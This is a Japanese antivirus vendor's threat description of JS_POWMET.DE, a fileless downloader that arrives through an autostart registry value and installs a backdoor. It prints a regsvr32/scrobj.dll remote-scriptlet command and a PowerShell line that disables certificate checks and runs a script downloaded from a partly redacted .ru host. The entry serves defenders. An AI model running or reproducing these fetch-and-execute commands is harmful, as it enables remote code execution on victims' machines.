JS_POWMET.DE

トレンドマイクロは、このマルウェアをNoteworthy（要注意）に分類しました。

このマルウェアは、2017年8月初旬に確認された侵入段階から最終的に実行されるバックドア型マルウェアまで、物理的にマルウェア自体のファイルを作成しない不正活動に関連しています。自動実行のレジストリ値を介してダウンロードされ、感染コンピュータ上にバックドア型マルウェアをインストールします。

マルウェアは、他のマルウェアに作成されるか、悪意あるWebサイトからユーザが誤ってダウンロードすることによりコンピュータに侵入します。

マルウェアは、ワーム活動の機能を備えていません。

マルウェアは、バックドア活動の機能を備えていません。

マルウェアは、ダウンロードしたファイルを実行します。

侵入方法

マルウェアは、他のマルウェアに作成されるか、悪意あるWebサイトからユーザが誤ってダウンロードすることによりコンピュータに侵入します。

マルウェアは、以下のリモートサイトからダウンロードされ、コンピュータに侵入します。

• http://{BLOCKED}2.{BLOCKED}3bw.ru/restore.xml

マルウェアは、以下の方法でコンピュータに侵入します。

• The malware could arrive via autostart registry created by other malware:
  • HKEY_USERS\{SID}\Software\Microsoft\Windows\CurrentVersion\Run
    COM+ = "regsvr32 /s /n /u /i:http://{BLOCKED}2.{BLOCKED}3bw.ru/restore.xml scrobj.dll"

感染活動

マルウェアは、ワーム活動の機能を備えていません。

バックドア活動

マルウェアは、バックドア活動の機能を備えていません。

ダウンロード活動

マルウェアは、以下のWebサイトにアクセスし、不正なファイルをダウンロードして実行します。

• https://{BLOCKED}do.ru/p1

マルウェアは、ダウンロードしたファイルを実行します。

マルウェアは、他のマルウェアに作成された自動実行のレジストリを介して侵入します。

• HKEY_USERS\{SID}\Software\Microsoft\Windows\CurrentVersion\Run COM+ = "regsvr32 /s /n /u /i:http://{BLOCKED}2.{BLOCKED}3bw.ru/restore.xml scrobj.dll"

マルウェアは、以下のPowershellを利用して不正なファイルをダウンロードして実行します。

• %System%\WindowsPowerShell\v1.0\powershell.exe -nop -ep Bypass -noexit -c [System.Net.ServicePointManager]::ServerCertificateValidationCallback = { $true }; iex ((New-Object System.Net.WebClient).DownloadString('https://{BLOCKED}ndo.ru/p1'));

ダウンロードされたファイルは、コンピュータには保存されず、Powershellコマンドを介してダウンロード後、直接実行されます。

上述のURLにアクセスして手動でダウンロードされた場合、ダウンロードされたファイルは、「TROJ_PSINJECT.A」として検出されます。

マルウェアは、ルートキット機能を備えていません。

マルウェアは、脆弱性を利用した感染活動を行いません。